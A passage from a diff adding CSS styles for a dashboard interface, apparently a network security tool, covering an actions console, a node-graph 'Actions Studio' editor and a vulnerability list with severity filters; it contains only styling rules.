+} + +.actions-container .al-btn { + background: var(--c-btn); + color: var(--ink); + border: 1px solid var(--c-border-strong); + border-radius: var(--control-r, 10px); + padding: 8px 12px; + display: inline-flex; + align-items: center; + gap: 8px; + cursor: pointer; + transition: .18s; + box-shadow: var(--elev); + font: inherit; +} + +.actions-container .al-btn:hover { + transform: translateY(-1px); + box-shadow: var(--shadow-hover); +} + +.actions-container .al-btn.warn { + background: linear-gradient(180deg, color-mix(in oklab, var(--warning) 28%, var(--c-btn)), var(--c-btn)); + color: var(--warning); + border-color: color-mix(in oklab, var(--warning) 55%, var(--c-border)); +} + +.actions-container .multiConsole { + flex: 1; + padding: 10px; + display: grid; + gap: 10px; + height: 100%; + grid-auto-flow: row; + grid-auto-rows: 1fr; + grid-template-rows: repeat(var(--rows, 1), 1fr); +} + +.actions-container .split-1 { + grid-template-columns: 1fr; +} + +.actions-container .split-2 { + grid-template-columns: 1fr 1fr; +} + +.actions-container .split-3 { + grid-template-columns: 1fr 1fr 1fr; +} + +.actions-container .split-4 { + grid-template-columns: 1fr 1fr; +} + +.actions-container .pane { + position: relative; + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-console); + display: flex; + flex-direction: column; + box-shadow: inset 0 0 0 1px var(--c-border-muted); +} + +.actions-container .paneHeader { + display: grid; + grid-template-columns: 1fr auto; + align-items: center; + gap: 10px; + padding: 8px 10px; + border-bottom: 1px solid var(--c-border); + background: linear-gradient(180deg, color-mix(in oklab, var(--acid-2) 8%, transparent), transparent); +} + +.actions-container .paneTitle { + display: grid; + grid-template-columns: auto auto 1fr; + align-items: center; + gap: 10px; + min-width: 0; +} + +.actions-container .paneTitle .dot { + width: 8px; + height: 8px; + border-radius: 50%; + flex: 0 0 auto; +} + +.actions-container .paneIcon { + width: 70px; + height: 70px; + border-radius: 6px; + object-fit: cover; + opacity: .95; +} + +.actions-container .titleBlock { + display: flex; + flex-direction: column; + gap: 4px; + min-width: 0; +} + +.actions-container .titleLine strong { + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.actions-container .metaLine { + display: flex; + flex-wrap: wrap; + gap: 6px; +} + +.actions-container .metaLine .chip { + border: 1px solid var(--c-border-strong); + background: var(--c-chip-bg); + color: var(--muted); + padding: 3px 8px; + border-radius: 999px; +} + +.actions-container .paneBtns { + display: flex; + flex-wrap: wrap; + gap: 8px; + justify-content: flex-end; +} + +.actions-container .paneBtns .al-btn { + padding: 6px 8px; + font-size: .9rem; +} + +.actions-container .paneLog { + flex: 1; + overflow: auto; + padding: 6px 8px; + font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, "Liberation Mono", monospace; + font-size: .92rem; +} + +.actions-container .logline { + white-space: pre-wrap; + word-break: break-word; + padding: 4px 6px; + line-height: 1.32; + color: var(--ink); +} + +.actions-container .logline.info { + color: #bfefff; +} + +.actions-container .logline.ok { + color: #9ff7c5; +} + +.actions-container .logline.warn { + color: #ffd27a; +} + +.actions-container .logline.err { + color: #ff99b3; +} + +.actions-container .logline.dim { + color: #6a8596; +} + +.actions-container .paneHighlight { + box-shadow: 0 0 0 2px var(--acid-2), 0 0 24px color-mix(in oklab, var(--acid-2) 55%, transparent) inset, 0 0 40px color-mix(in oklab, var(--acid-2) 35%, transparent); + animation: al-hi 900ms ease-out 1; +} + +@keyframes al-hi { + 0% { + transform: scale(1); + } + + 50% { + transform: scale(1.01); + } + + 100% { + transform: scale(1); + } +} + +.actions-container .section { + padding: 12px; + border-bottom: 1px dashed var(--c-border); +} + +.actions-container .h { + font-weight: 800; + letter-spacing: .5px; + color: var(--acid-2); +} + +.actions-container .sub { + color: var(--muted); + font-size: .9rem; +} + +.actions-container .builder { + padding: 12px; + display: grid; + gap: 12px; +} + +.actions-container .field { + display: grid; + gap: 6px; +} + +.actions-container .label { + font-size: .85rem; + color: var(--muted); +} + +.actions-container .ctl, +.actions-container .select, +.actions-container .range { + background: var(--c-panel); + color: var(--ink); + border: 1px solid var(--c-border-strong); + border-radius: var(--control-r, 10px); + padding: 10px 12px; + font: inherit; +} + +.actions-container .ctl:focus, +.actions-container .select:focus { + outline: none; + box-shadow: 0 0 0 2px color-mix(in oklab, var(--acid) 55%, transparent) inset; +} + +.actions-container .chips { + display: flex; + gap: 8px; + flex-wrap: wrap; + padding: 10px; +} + +.actions-container .chip2 { + padding: 6px 10px; + border-radius: 999px; + background: var(--c-chip-bg); + border: 1px solid var(--c-border-hi); + cursor: pointer; + transition: .18s; +} + +.actions-container .chip2:hover { + box-shadow: 0 0 0 1px var(--c-border-hi) inset, 0 8px 22px var(--glow-weak); +} + +@media (max-width: 860px) { + .actions-container #actionsLauncher { + grid-template-columns: 1fr; + } + + .actions-container .toolbar2 { + display: none !important; + } + + .actions-container .paneHeader { + grid-template-columns: 1fr; + row-gap: 8px; + } + + .actions-container .paneBtns { + justify-content: flex-start; + } + + .actions-container .paneBtns .al-btn { + padding: 5px 6px; + font-size: .85rem; + } +} + +/* ═══════════════════════════════════════════════════════════════════════ + ACTIONS STUDIO (.studio-container) + ═══════════════════════════════════════════════════════════════════════ */ +.studio-container { + --st-bg: #060c12; + --st-panel: #0a1520; + --st-card: #0b1c2a; + --st-card2: #0d2132; + --st-text: #e9f3ff; + --st-muted: #9fb4c9; + --st-border: #203448; + --st-neon: #66ffd1; + --st-neon2: #57c9ff; + --st-ok: #30db98; + --st-bad: #ff6b7c; + --st-warn: #ffd166; + --st-edge: #2a557a; + --st-global: #7040ff; + --st-host: #25be7b; + --st-tap: 44px; + --studio-header-h: 52px; + background: var(--st-bg); + color: var(--st-text); + font: 14px/1.35 Inter, system-ui, -apple-system, Segoe UI, Roboto, sans-serif; + overflow: hidden; + height: 100%; +} + +.studio-container #app { + display: grid; + grid-template-rows: auto 1fr auto; + height: 100%; +} + +.studio-container header { + display: flex; + align-items: center; + gap: .5rem; + padding: .6rem .8rem; + min-height: var(--studio-header-h); + background: color-mix(in oklab, var(--st-panel) 95%, #050b12 5%); + border-bottom: 1px solid var(--st-border); + backdrop-filter: blur(8px); + z-index: 20; +} + +.studio-container .logo { + width: 22px; + height: 22px; + border-radius: 6px; + background: conic-gradient(from 210deg, var(--st-neon), var(--st-neon2)); + box-shadow: 0 0 32px rgba(90, 255, 200, .22); +} + +.studio-container h1 { + font-size: 15px; + letter-spacing: .3px; +} + +.studio-container .sp { + flex: 1; +} + +.studio-container .btn { + display: inline-flex; + align-items: center; + justify-content: center; + gap: .45rem; + padding: .48rem .7rem; + border-radius: 12px; + background: #0c2132; + border: 1px solid var(--st-border); + color: var(--st-text); + cursor: pointer; + font-size: 13px; + transition: all .2s; + min-height: var(--st-tap); +} + +.studio-container .btn:hover { + transform: translateY(-1px); + background: #0e2437; +} + +.studio-container .btn:active { + transform: scale(.98); +} + +.studio-container .btn.primary { + background: linear-gradient(180deg, #0e2f25, #0b241d); + border-color: #1d5a45; + color: var(--st-neon); +} + +.studio-container .btn.icon { + width: var(--st-tap); + padding: 0; +} + +.studio-container main { + display: grid; + grid-template-columns: 320px 1fr 360px; + gap: 8px; + padding: 8px; + min-height: 0; + height: 100%; +} + +.studio-container .studio-side-backdrop { + display: none; + position: fixed; + inset: var(--h-topbar, 56px) 0 var(--h-bottombar, 56px) 0; + z-index: 2150; + border: 0; + margin: 0; + padding: 0; + background: rgba(0, 0, 0, .52); +} + +@media (max-width:1100px) { + .studio-container { + --studio-header-h: 46px; + } + + .studio-container header { + min-height: var(--studio-header-h); + padding: 6px 8px; + gap: 6px; + position: relative; + z-index: 2300; + } + + .studio-container h1 { + font-size: 14px; + max-width: 34vw; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + } + + .studio-container .logo { + width: 18px; + height: 18px; + } + + .studio-container main { + grid-template-columns: 1fr; + grid-template-rows: 1fr auto; + gap: 8px; + height: auto; + } + + .studio-container #left, + .studio-container #right { + position: fixed; + z-index: 2200; + top: var(--h-topbar, 56px); + bottom: var(--h-bottombar, 56px); + width: min(90vw, 420px); + max-width: 420px; + transition: transform .25s ease, opacity .25s; + opacity: .98; + } + + .studio-container #left { + left: 0; + transform: translateX(-120%); + } + + .studio-container #left.open { + transform: translateX(0); + } + + .studio-container #right { + right: 0; + transform: translateX(120%); + } + + .studio-container #right.open { + transform: translateX(0); + } + + .studio-container #btnPal, + .studio-container #btnIns { + position: fixed; + top: auto; + bottom: calc(var(--h-bottombar, 56px) + 14px); + z-index: 82; + width: 38px; + height: 38px; + min-width: 38px; + min-height: 38px; + padding: 0; + border-radius: 999px; + border: 1px solid var(--c-border-strong); + background: color-mix(in oklab, var(--c-panel) 94%, transparent); + color: var(--ink); + box-shadow: 0 6px 16px rgba(0, 0, 0, .28); + opacity: .88; + } + + .studio-container #btnPal { + left: 10px; + } + + .studio-container #btnIns { + right: 10px; + } + + .studio-container #btnPal:hover, + .studio-container #btnIns:hover { + opacity: 1; + transform: translateY(-1px); + } + + .studio-container #btnPal, + .studio-container #btnIns, + .studio-container #btnAutoLayout, + .studio-container #btnRepel, + .studio-container #btnHelp, + .studio-container #btnApply { + display: none; + } + + .studio-mobile-dock { + display: flex; + } + + .studio-container footer { + display: none; + } + + .studio-toast { + bottom: calc(var(--h-bottombar, 56px) + 104px); + } + + .studio-container .studio-side-backdrop.show { + display: block; + } +} + +.studio-container #left { + background: var(--st-panel); + border: 1px solid var(--st-border); + border-radius: 12px; + display: flex; + flex-direction: column; + min-height: 0; + overflow: hidden; +} + +.studio-container .tabs { + display: flex; + gap: 4px; + padding: 8px; + border-bottom: 1px solid var(--st-border); +} + +.studio-container .tab { + padding: 6px 12px; + border-radius: 10px; + background: var(--st-card); + border: 1px solid transparent; + cursor: pointer; + font-size: 13px; +} + +.studio-container .tab.active { + background: var(--st-card2); + border-color: var(--st-neon2); + color: var(--st-neon2); +} + +.studio-container .tab-content { + flex: 1; + padding: 10px; + overflow: auto; + display: none; +} + +.studio-container .tab-content.active { + display: block; +} + +.studio-container h2 { + margin: .2rem 0 .6rem; + font-size: 12px; + color: var(--st-muted); + letter-spacing: .2px; + text-transform: uppercase; +} + +.studio-container .search-row { + position: relative; + margin-bottom: 10px; +} + +.studio-container input.search { + width: 100%; + background: #0a1f2e; + color: var(--st-text); + border: 1px solid var(--st-border); + border-radius: 12px; + padding: .6rem 2.1rem .6rem .7rem; + margin-bottom: 0; + font-size: 14px; +} + +.studio-container .search-clear { + position: absolute; + right: 6px; + top: 50%; + transform: translateY(-50%); + width: 26px; + height: 26px; + border-radius: 999px; + border: 1px solid var(--st-border); + background: #0f2536; + color: var(--st-muted); + cursor: pointer; + display: none; +} + +.studio-container .search-clear.show { + display: inline-flex; + align-items: center; + justify-content: center; +} + +.studio-container .search-clear:hover { + color: var(--st-text); + border-color: color-mix(in oklab, var(--st-neon2) 45%, var(--st-border)); +} + +.studio-container .palette-meta { + display: flex; + gap: 6px; + flex-wrap: wrap; + margin-bottom: 10px; +} + +.studio-container .palette-meta .pill { + font-size: 10px; + padding: .2rem .48rem; +} + +.studio-container .pitem { + border: 1px solid var(--st-border); + background: #0a1b2a; + border-radius: 12px; + padding: 10px; + display: flex; + justify-content: space-between; + gap: 8px; + align-items: center; + user-select: none; + margin-bottom: 6px; + cursor: grab; + transition: all .2s; +} + +.studio-container .pitem:active { + cursor: grabbing; +} + +.studio-container .pitem:hover { + transform: translateX(2px); + background: #0c1e2d; +} + +.studio-container .pitem.placed { + opacity: .55; +} + +.studio-container .pmeta { + font-size: 12px; + color: var(--st-muted); +} + +.studio-container .padd { + border: 1px solid var(--st-border); + background: #0b2437; + border-radius: 10px; + padding: .35rem .6rem; + font-size: 12px; + cursor: pointer; +} + +.studio-container .padd:hover { + background: var(--st-neon2); + color: var(--st-bg); + transform: scale(1.05); +} + +.studio-container .action-icon { + width: 24px; + height: 24px; + border-radius: 6px; + margin-right: 8px; + object-fit: cover; +} + +.studio-container .host-card { + border: 1px solid var(--st-border); + background: linear-gradient(135deg, #0b1e2c, #0a1b2a); + border-radius: 12px; + padding: 10px; + margin-bottom: 6px; + cursor: grab; +} + +.studio-container .host-card:active { + cursor: grabbing; +} + +.studio-container .host-card.simulated { + border-color: var(--st-neon2); + background: linear-gradient(135deg, #0b2233, #0a1f2e); +} + +.studio-container .host-card .row { + display: flex; + gap: 6px; + flex-wrap: wrap; + align-items: center; + font-size: 12px; + margin-top: 4px; +} + +.studio-container .host-card .row .btn { + padding: .25rem .5rem; + font-size: 11px; +} + +.studio-container #center { + position: relative; + border: 1px solid var(--st-border); + border-radius: 12px; + background: radial-gradient(1200px 800px at 0% 0%, #0a1827 0%, #060c12 60%), #060c12; + overflow: hidden; + touch-action: none; +} + +.studio-container #bggrid { + position: absolute; + inset: 0; + background-image: linear-gradient(#0f2b3f 1px, transparent 1px), linear-gradient(90deg, #0f2b3f 1px, transparent 1px); + background-size: 40px 40px; + opacity: .18; + pointer-events: none; +} + +.studio-container #canvas { + position: absolute; + left: 0; + top: 0; + transform-origin: 0 0; +} + +.studio-container #nodes { + position: absolute; + left: 0; + top: 0; + width: 4000px; + height: 3000px; +} + +.studio-container #links { + position: absolute; + left: 0; + top: 0; + width: 4000px; + height: 3000px; + overflow: visible; + pointer-events: auto; +} + +.studio-container #controls { + position: absolute; + right: 10px; + bottom: 10px; + display: flex; + flex-direction: column; + gap: 6px; + z-index: 5; +} + +.studio-container .canvas-hint { + position: absolute; + left: 10px; + right: 72px; + bottom: 10px; + z-index: 6; + display: flex; + align-items: center; + gap: 8px; + padding: 8px 10px; + border-radius: 12px; + border: 1px solid var(--st-border); + background: color-mix(in oklab, #07111a 78%, transparent); + color: var(--st-muted); + backdrop-filter: blur(8px); + box-shadow: 0 6px 18px rgba(0, 0, 0, .25); +} + +.studio-container .canvas-hint strong { + color: var(--st-text); + font-size: 12px; +} + +.studio-container .canvas-hint span { + font-size: 12px; +} + +.studio-container .canvas-hint.hidden { + display: none; +} + +.studio-container .canvas-hint .btn.icon { + margin-left: auto; + width: 28px; + min-height: 28px; + border-radius: 999px; +} + +.studio-container .ctrl { + width: 44px; + height: 44px; + border-radius: 12px; + border: 1px solid var(--st-border); + background: #0a1f2e; + color: var(--st-text); + cursor: pointer; + transition: all .2s; +} + +.studio-container .ctrl:hover { + background: #0c2437; + transform: scale(1.05); +} + +.studio-container .ctrl:active { + transform: scale(.97); +} + +.studio-container .node { + position: absolute; + min-width: 240px; + max-width: 320px; + color: var(--st-text); + background: linear-gradient(180deg, var(--st-card) 0%, var(--st-card2) 100%); + border: 2px solid var(--st-border); + border-radius: 12px; + box-shadow: 0 12px 32px rgba(0, 0, 0, .28); + transition: transform .2s, box-shadow .2s, min-height .2s; + cursor: grab; +} + +.studio-container .node:active { + cursor: grabbing; +} + +.studio-container .node:hover { + transform: translateY(-2px); + box-shadow: 0 16px 40px rgba(0, 0, 0, .4); +} + +.studio-container .node.sel { + outline: 2px solid var(--st-neon); + outline-offset: 2px; +} + +.studio-container .nhdr { + display: flex; + align-items: center; + justify-content: space-between; + gap: 6px; + padding: 8px 10px; + border-bottom: 1px solid var(--st-border); + background: rgba(0, 0, 0, .2); + border-radius: 10px 10px 0 0; +} + +.studio-container .nname { + font-weight: 700; + font-size: 13px; + letter-spacing: .2px; + display: flex; + align-items: center; + gap: 6px; +} + +.studio-container .node-icon { + width: 20px; + height: 20px; + border-radius: 4px; + object-fit: cover; +} + +.studio-container .badge { + font-size: 11px; + color: #97e8ff; + background: #0b2b3f; + border: 1px solid #214b67; + padding: .14rem .45rem; + border-radius: 999px; +} + +.studio-container .nbody { + padding: 8px 10px; + display: grid; + gap: 6px; + font-size: 12px; + color: var(--st-muted); +} + +.studio-container .row { + display: flex; + gap: 8px; + align-items: center; + flex-wrap: wrap; +} + +.studio-container .k { + color: #7fa6c4; +} + +.studio-container .v { + color: var(--st-text); +} + +.studio-container .nclose { + border: none; + background: transparent; + color: #9fb4c9; + font-size: 16px; + cursor: pointer; + opacity: 0; + transition: opacity .2s; +} + +.studio-container .node:hover .nclose { + opacity: 1; +} + +.studio-container .host .badge { + color: #9effc5; + background: #0f2a22; + border-color: #1f604b; +} + +.studio-container .host { + background: linear-gradient(180deg, #0c241b, #0d2732); + border-color: var(--st-host); +} + +.studio-container .global .badge { + color: #e6ddff; + background: #1b1335; + border-color: #4a3cb0; +} + +.studio-container .global { + border-color: var(--st-global); +} + +.studio-container .bjorn { + min-width: 120px; + max-width: 140px; + border-radius: 12px; + overflow: hidden; +} + +.studio-container .bjorn .nhdr { + border-bottom: none; + background: linear-gradient(180deg, #1a1a2e, #16213e); +} + +.studio-container .rail { + position: absolute; + top: 10px; + bottom: 10px; + width: 18px; + border-radius: 10px; + border: 1px solid var(--st-border); + background: #0a1f2e; + display: flex; + flex-direction: column; + align-items: center; + gap: 6px; + padding: 6px; + cursor: crosshair; + z-index: 3; +} + +.studio-container .rail.left { + left: -10px; +} + +.studio-container .rail.right { + right: -10px; + background: #0f2a22; + border-color: #1f604b; +} + +.studio-container .port { + width: 10px; + height: 10px; + border: 2px solid #0a1120; + border-radius: 50%; + background: var(--st-neon2); + box-shadow: 0 0 10px rgba(88, 201, 255, .5); +} + +.studio-container .rail.right .port { + background: var(--st-neon); +} + +.studio-container .port.add { + opacity: .5; + outline: 1px dashed #31597b; +} + +.studio-container svg { + pointer-events: none; +} + +.studio-container .path { + fill: none; + stroke: var(--st-edge); + stroke-width: 2.5; + opacity: .95; + pointer-events: stroke; + cursor: pointer; + transition: all .2s; +} + +.studio-container .path:hover { + stroke-width: 3.5; + opacity: 1; +} + +.studio-container .path.ok { + stroke: var(--st-ok); +} + +.studio-container .path.bad { + stroke: var(--st-bad); +} + +.studio-container .path.req { + stroke: var(--st-neon2); +} + +.studio-container .path.flow { + stroke-dasharray: 6 9; + animation: as-flow 1.5s linear infinite; +} + +@keyframes as-flow { + to { + stroke-dashoffset: -60; + } +} + +.studio-container .edgelabel { + font-size: 11px; + fill: #d7ebff; + paint-order: stroke; + stroke: #0c1724; + stroke-width: 3px; + cursor: pointer; + pointer-events: all; +} + +.studio-container .edgelabel.bad { + fill: #ffd4da; +} + +.studio-container .edgelabel.ok { + fill: #c8ffe7; +} + +.studio-container .edgelabel.req { + fill: #d7e2ff; +} + +.studio-container #right { + background: var(--st-panel); + border: 1px solid var(--st-border); + border-radius: 12px; + padding: 10px; + display: flex; + flex-direction: column; + gap: 10px; + min-height: 0; + overflow: auto; +} + +.studio-container .section { + background: #0b1d2b; + border: 1px solid var(--st-border); + border-radius: 12px; + padding: 10px; +} + +.studio-container .section h3 { + margin: .2rem 0 .6rem; + font-size: 13px; + color: var(--st-muted); +} + +.studio-container label { + display: flex; + flex-direction: column; + gap: .3rem; + margin: .45rem 0; +} + +.studio-container label span { + font-size: 12px; + color: var(--st-muted); +} + +.studio-container input, +.studio-container select, +.studio-container textarea { + background: #0a1f2e; + color: var(--st-text); + border: 1px solid var(--st-border); + border-radius: 10px; + padding: .6rem .65rem; + font: inherit; + outline: none; + transition: all .2s; + min-height: 40px; +} + +.studio-container input:focus, +.studio-container select:focus, +.studio-container textarea:focus { + border-color: var(--st-neon2); + box-shadow: 0 0 0 2px rgba(87, 201, 255, 0.2); +} + +.studio-container textarea { + min-height: 86px; + resize: vertical; +} + +.studio-container .small { + font-size: 12px; + color: var(--st-muted); +} + +.studio-container .pill { + display: inline-flex; + gap: 6px; + align-items: center; + padding: .14rem .5rem; + border-radius: 999px; + border: 1px solid var(--st-border); + background: #0b2233; + font-size: 11px; +} + +.studio-container hr { + border: none; + border-top: 1px solid var(--st-border); + margin: .6rem 0; +} + +.studio-container .form-row { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 10px; +} + +@media (max-width:600px) { + .studio-container .form-row { + grid-template-columns: 1fr; + } +} + +.studio-container footer { + display: flex; + align-items: center; + justify-content: space-between; + gap: 10px; + padding: 8px; + border-top: 1px solid var(--st-border); + background: linear-gradient(90deg, rgba(10, 23, 34, .6), rgba(6, 16, 24, .8)); + font-size: 12px; + color: var(--st-muted); +} + +.studio-container footer { + flex-wrap: wrap; + justify-content: flex-start; +} + +.studio-container .menu .item:hover { + background: color-mix(in oklab, var(--st-neon2) 16%, transparent); +} + +.studio-container #mainMenu { + z-index: 2400 !important; +} + +.studio-container .modal { + display: none; + position: fixed; + inset: 0; + background: rgba(0, 0, 0, .8); + z-index: 2500; + align-items: center; + justify-content: center; +} + +.studio-container .modal.show { + display: flex; +} + +.studio-container .modal-content { + background: var(--st-panel); + border: 1px solid var(--st-border); + border-radius: 16px; + padding: 20px; + max-width: 560px; + width: 92vw; + max-height: 90vh; + overflow: auto; +} + +.studio-container .modal-header { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 16px; +} + +.studio-container .modal-title { + font-size: 18px; + font-weight: 600; +} + +.studio-container .modal-close { + background: none; + border: none; + color: #fff; + font-size: 24px; + cursor: pointer; +} + +.studio-container #helpModal .section { + margin-bottom: 10px; +} + +.studio-container #helpModal .section .small { + display: block; + margin: 5px 0; +} + +.studio-container .edge-menu { + position: fixed; + background: var(--st-card); + border: 1px solid var(--st-border); + border-radius: 12px; + padding: 6px; + box-shadow: 0 8px 24px rgba(0, 0, 0, .4); + z-index: 2550; + display: none; +} + +.studio-container .edge-menu.show { + display: block; +} + +.studio-container .edge-menu-item { + padding: 10px 12px; + border-radius: 8px; + cursor: pointer; + font-size: 13px; +} + +.studio-container .edge-menu-item:hover { + background: #0b2233; +} + +.studio-container .edge-menu-item.danger { + color: var(--st-bad); +} + +.studio-mobile-dock { + display: none; + position: fixed; + left: 10px; + right: 10px; + bottom: calc(var(--h-bottombar, 56px) + 8px); + z-index: 2250; + gap: 6px; + align-items: center; + justify-content: space-between; + padding: 8px; + border: 1px solid var(--st-border); + border-radius: 14px; + background: color-mix(in oklab, #08131d 90%, transparent); + box-shadow: 0 10px 24px rgba(0, 0, 0, .35); + backdrop-filter: blur(8px); +} + +.studio-mobile-dock .btn { + min-height: 34px; + padding: .35rem .6rem; + font-size: 12px; +} + +.studio-mobile-stats { + color: var(--st-muted); + font-size: 11px; + min-width: 56px; + text-align: center; +} + +.studio-toast { + position: fixed; + right: 12px; + bottom: calc(var(--h-bottombar, 56px) + 74px); + z-index: 2800; + min-width: 180px; + max-width: min(92vw, 380px); + padding: 10px 14px; + border-radius: 10px; + border: 1px solid var(--st-border); + background: color-mix(in oklab, #0b1620 92%, transparent); + color: var(--st-text); + box-shadow: 0 8px 20px rgba(0, 0, 0, .32); + transition: opacity .25s ease; + opacity: 0; +} + +.studio-toast.success { + border-color: color-mix(in oklab, var(--ok) 60%, transparent); +} + +.studio-toast.error { + border-color: color-mix(in oklab, var(--danger) 60%, transparent); +} + +.studio-toast.warn { + border-color: color-mix(in oklab, var(--warning) 60%, transparent); +} + +@media (max-width:960px) { + .studio-container header { + flex-wrap: nowrap; + overflow: visible; + min-height: 44px; + padding: 6px 8px; + } + + .studio-container h1 { + white-space: nowrap; + } + + .studio-container .logo { + width: 18px; + height: 18px; + } + + .studio-container .canvas-hint { + right: 10px; + bottom: calc(var(--h-bottombar, 56px) + 58px); + } + + .studio-container #controls { + bottom: calc(var(--h-bottombar, 56px) + 58px); + } + + .studio-toast { + bottom: calc(var(--h-bottombar, 56px) + 108px); + } +} + +@media (max-width:640px) { + .studio-container footer { + display: none; + } + + .studio-container footer .pill:nth-child(4), + .studio-container footer .pill:nth-child(5) { + display: none; + } + + .studio-container .canvas-hint { + bottom: calc(var(--h-bottombar, 56px) + 58px); + } + + .studio-container .canvas-hint span { + display: none; + } + + .studio-mobile-dock .btn { + padding: .34rem .5rem; + min-width: 62px; + } +} + +/* ========================================================================== + SPA runtime compatibility (module class names) + Keeps old visual language while matching current JS markup. + ========================================================================== */ + +/* ---- Vulnerabilities module aliases ---- */ +.vuln-container .stats-bar { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); + gap: var(--gap-4); + margin-bottom: var(--gap-3); +} + +.vuln-container .stats-bar .stat-item { + background: var(--grad-card); + border-radius: var(--radius); + padding: var(--gap-4); + text-align: center; + border: 1px solid var(--c-border); + box-shadow: var(--elev); + display: grid; + gap: 6px; + justify-items: center; +} + +.vuln-container .stats-bar .stat-value { + font-size: 28px; + font-weight: 800; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; +} + +.vuln-container .vuln-controls { + background: var(--grad-card); + border-radius: var(--radius); + padding: var(--gap-4); + margin-bottom: var(--gap-3); + display: flex; + flex-wrap: wrap; + gap: var(--gap-3); + align-items: center; + border: 1px solid var(--c-border); + box-shadow: var(--elev); +} + +.vuln-container .vuln-buttons { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.vuln-container .global-search-container { + flex: 1; + min-width: 220px; + position: relative; +} + +.vuln-container .global-search-input { + width: 100%; + height: var(--control-h); + padding: 0 36px 0 var(--control-pad-x); + border: 1px solid var(--c-border-strong); + border-radius: var(--control-r); + background: var(--c-panel); + color: var(--ink); +} + +.vuln-container .global-search-input:focus { + outline: none; + border-color: var(--accent); + box-shadow: 0 0 0 2px color-mix(in oklab, var(--accent) 28%, transparent); +} + +.vuln-container .clear-global-button { + position: absolute; + right: 8px; + top: 50%; + transform: translateY(-50%); + border: none; + background: none; + color: var(--danger); + cursor: pointer; + display: none; +} + +.vuln-container .clear-global-button.show { + display: inline-block; +} + +.vuln-container .vuln-btn { + border: 1px solid var(--c-border); + background: var(--c-panel); + color: var(--ink); + border-radius: var(--control-r); + padding: 8px 12px; + cursor: pointer; +} + +.vuln-container .vuln-btn.active { + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + border-color: var(--accent); + color: var(--white); +} + +.vuln-container .vuln-severity-bar { + display: flex; + gap: var(--gap-2); + flex-wrap: wrap; + margin-bottom: var(--gap-3); +} + +.vuln-container .vuln-severity-btn { + border: 1px solid var(--c-border); + background: var(--c-panel); + color: var(--ink); + border-radius: 999px; + padding: 5px 12px; + font-weight: 700; + cursor: pointer; +} + +.vuln-container .vuln-severity-btn.active { + box-shadow: 0 0 0 1px var(--c-border-hi) inset; +} + +.vuln-container .vuln-severity-btn.severity-critical.active { + background: var(--danger); + border-color: var(--danger); + color: var(--white); +} + +.vuln-container .vuln-severity-btn.severity-high.active { + background: var(--warning); + border-color: var(--warning); + color: var(--ink-invert); +} + +.vuln-container .vuln-severity-btn.severity-medium.active { + background: var(--accent-2); + border-color: var(--accent-2); + color: var(--ink-invert); +} + +.vuln-container .vuln-severity-btn.severity-low.active { + background: var(--ok); + border-color: var(--ok); + color: var(--ink-invert); +} + +.vuln-container .services-grid { + display: grid; + gap: var(--gap-4); + max-height: calc(100vh - 250px); + overflow-y: auto; +} + +.vuln-container .vuln-card-header { + padding: var(--gap-4); + background: var(--grad-quickpanel); + display: flex; + justify-content: space-between; + align-items: center; + gap: 10px; + cursor: pointer; + user-select: none; + border-bottom: 1px solid var(--c-border); +} + +.vuln-container .vuln-card-title { + display: flex; + align-items: center; + gap: var(--gap-3); + flex-wrap: wrap; + flex: 1; +} + +.vuln-container .collapse-indicator { + color: var(--muted); + transition: transform .3s ease; + font-size: 18px; +} + +.vuln-container .vuln-card.expanded .collapse-indicator { + transform: rotate(180deg); +} + +.vuln-container .vuln-content { + max-height: 0; + overflow: hidden; + transition: max-height .3s ease-out; +} + +.vuln-container .vuln-card.expanded .vuln-content { + max-height: 2400px; +} + +.vuln-container .vuln-detail-section { + margin-bottom: var(--gap-4); + padding: 0 var(--gap-4); +} + +.vuln-container .detail-text { + color: var(--ink); + font-size: 14px; + line-height: 1.5; +} + +.vuln-container .vuln-tag { + padding: 2px 8px; + border-radius: 999px; + font-size: 10px; + font-weight: 800; + text-transform: uppercase; + letter-spacing: .3px; + border: 1px solid var(--c-border); + background: var(--c-chip-bg); +} + +.vuln-container .vuln-tag.remediated { + background: color-mix(in oklab, var(--ok) 18%, var(--c-chip-bg)); + border-color: color-mix(in oklab, var(--ok) 40%, var(--c-border)); +} + +.vuln-container .vuln-tag.kev { + background: color-mix(in oklab, var(--danger) 18%, var(--c-chip-bg)); + border-color: color-mix(in oklab, var(--danger) 40%, var(--c-border)); +} + +.vuln-container .vuln-tag.exploit { + background: color-mix(in oklab, #9c27b0 18%, var(--c-chip-bg)); + border-color: color-mix(in oklab, #9c27b0 40%, var(--c-border)); +} + +.vuln-container .vuln-tag.epss { + background: color-mix(in oklab, var(--warning) 18%, var(--c-chip-bg)); + border-color: color-mix(in oklab, var(--warning) 40%, var(--c-border)); +} + +.vuln-container .vuln-pagination { + display: flex; + justify-content: center; + align-items: center; + gap: 8px; + margin-top: var(--gap-4); + padding: var(--gap-3); + flex-wrap: wrap; +} + +.vuln-container .vuln-page-btn { + border: 1px solid var(--c-border); + background: var(--c-panel); + color: var(--ink); + border-radius: 10px; + padding: 6px 10px; + cursor: pointer; +} + +.vuln-container .vuln-page-btn.active { + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + border-color: var(--accent); + color: var(--white); +} + +.vuln-container .vuln-page-btn.disabled { + opacity: .5; + cursor: not-allowed; +} + +.vuln-container .vuln-page-info { + color: var(--muted); + font-size: 13px; +} + +.vuln-container .vuln-modal { + display: none; + position: fixed; + inset: 0; + background: var(--glass-8); + z-index: 1000; +} + +.vuln-container .vuln-modal.show { + display: flex; + align-items: center; + justify-content: center; +} + +.vuln-container .vuln-modal-content { + background: var(--grad-modal); + border-radius: var(--radius); + max-width: 800px; + width: 90%; + max-height: 80vh; + overflow-y: auto; + border: 1px solid var(--c-border-strong); + box-shadow: var(--shadow-hover); +} + +.vuln-container .vuln-modal-header { + padding: var(--gap-4); + border-bottom: 1px solid var(--c-border); + display: flex; + justify-content: space-between; + align-items: center; + position: sticky; + top: 0; + background: 